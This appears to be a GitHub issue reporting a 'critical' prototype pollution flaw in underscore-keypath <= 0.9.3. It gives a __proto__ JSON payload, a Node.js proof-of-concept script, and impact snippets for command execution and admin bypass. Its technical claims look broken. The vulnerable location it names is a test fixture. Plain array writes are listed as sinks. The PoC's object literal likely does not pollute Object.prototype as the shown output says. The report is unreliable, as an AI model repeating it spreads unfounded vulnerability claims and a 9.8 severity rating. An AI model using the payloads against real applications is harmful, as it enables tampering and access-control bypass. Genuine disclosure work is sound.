Skip to content

Critical Prototype Pollution in underscore-keypath <= 0.9.3 #9

@dfzysmy2tf-create

Description

@dfzysmy2tf-create

Prototype Pollution via proto in underscore-keypath

Summary

A critical prototype pollution vulnerability exists in underscore-keypath versions <= 0.9.3. The extend() method uses underscore's _.extend() function to perform recursive object merging without proper prototype pollution protection. Attackers can inject a malicious __proto__ property to pollute Object.prototype, affecting all JavaScript objects in the application and potentially leading to Remote Code Execution (RCE), Denial of Service (DoS), or authentication bypass.

Details

The vulnerability exists in the extend() method implementation, which directly delegates to underscore's _.extend() function for recursive object merging operations. This function does not sanitize or filter special property names like __proto__, constructor, or prototype before performing the merge operation.

Vulnerable Code Location:

  • File: package/package/test/fixture.js
  • Line: 7

The vulnerable code performs an unprotected recursive merge:

this.options = _.extend({}, options);

When user-controlled input containing a __proto__ key flows into this function, it triggers prototype pollution at multiple sinks:

  1. RECURSIVE_MERGE sink (line 7): The primary vulnerability where _.extend() processes the malicious payload
  2. DYNAMIC_PROP_WRITE sink (line 44): array[0] = value; - Dynamic property assignment without validation
  3. DYNAMIC_PROP_WRITE sink (line 48): array[Math.max(array.length - 1, 0)] = value; - Another unprotected dynamic assignment

The absence of prototype chain validation allows attackers to modify properties on Object.prototype, which propagates to all JavaScript objects in the runtime environment.

PoC

Payload

{"__proto__": {"polluted": "yes"}}

Steps to Reproduce

  1. Install the vulnerable package:

    npm install underscore-keypath@0.9.3
  2. Create a test file (test-pollution.js):

    const _ = require('underscore-keypath');
    
    // Verify clean state
    console.log('Before pollution:', {}.polluted); // undefined
    
    // Trigger prototype pollution
    const malicious = {'__proto__': {'polluted': 'yes'}};
    _.extend({}, malicious);
    
    // Check if pollution occurred
    console.log('After pollution:', {}.polluted); // 'yes'
    
    // Verify pollution affects all objects
    const newObject = {};
    console.log('New object polluted:', newObject.polluted); // 'yes'
  3. Execute the test:

    node test-pollution.js

Expected Behavior

The polluted property should not exist on newly created objects, and Object.prototype should remain unmodified.

Before pollution: undefined
After pollution: undefined
New object polluted: undefined

Actual Behavior

The polluted property is injected into Object.prototype and appears on all JavaScript objects:

Before pollution: undefined
After pollution: yes
New object polluted: yes

This confirms successful prototype pollution, demonstrating that the malicious payload has modified the global object prototype chain.

Impact

This prototype pollution vulnerability poses a CRITICAL security risk with multiple attack vectors:

1. Remote Code Execution (RCE)

If polluted properties flow into dangerous sinks such as:

  • eval() or Function() constructors
  • child_process.exec() or child_process.spawn()
  • Template engines that execute code based on object properties

Example scenario:

const options = {};
// After pollution: options.command = 'malicious command'
child_process.exec(options.command); // RCE

2. Denial of Service (DoS)

Attackers can overwrite critical built-in methods or properties:

{'__proto__': {'toString': null}}  // Breaks string coercion
{'__proto__': {'valueOf': null}}   // Breaks numeric operations

3. Authentication Bypass

Applications using object properties for access control are vulnerable:

// Application code
if (user.isAdmin) { /* admin actions */ }

// After pollution with {'__proto__': {'isAdmin': true}}
// All users become admins

4. Property Injection

Attackers can inject arbitrary properties that may affect:

  • Business logic conditions
  • Security checks
  • Data validation routines
  • Configuration settings

5. Cross-Site Scripting (XSS) Amplification

In web applications, polluted properties can be reflected in HTML output, enabling XSS attacks.

Affected Applications:
Any application using underscore-keypath <= 0.9.3 that processes user-controlled input (JSON APIs, configuration files, user preferences, etc.) is vulnerable to this attack.

Remediation

Immediate Actions:

  1. Upgrade to a patched version when available
  2. Implement input validation to reject objects containing __proto__, constructor, or prototype keys
  3. Use Object.create(null) for objects that store user data to avoid prototype chain inheritance
  4. Enable --disable-proto=delete flag in Node.js environments where possible

Temporary Mitigation:

function sanitizeObject(obj) {
  if (obj && typeof obj === 'object') {
    delete obj.__proto__;
    delete obj.constructor;
    delete obj.prototype;
  }
  return obj;
}

// Use before calling extend()
const safeInput = sanitizeObject(userInput);
_.extend({}, safeInput);

CVSS Score: 9.8 (Critical)
CWE: CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes)
Affected Versions: <= 0.9.3
Patched Versions: None available at time of disclosure

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions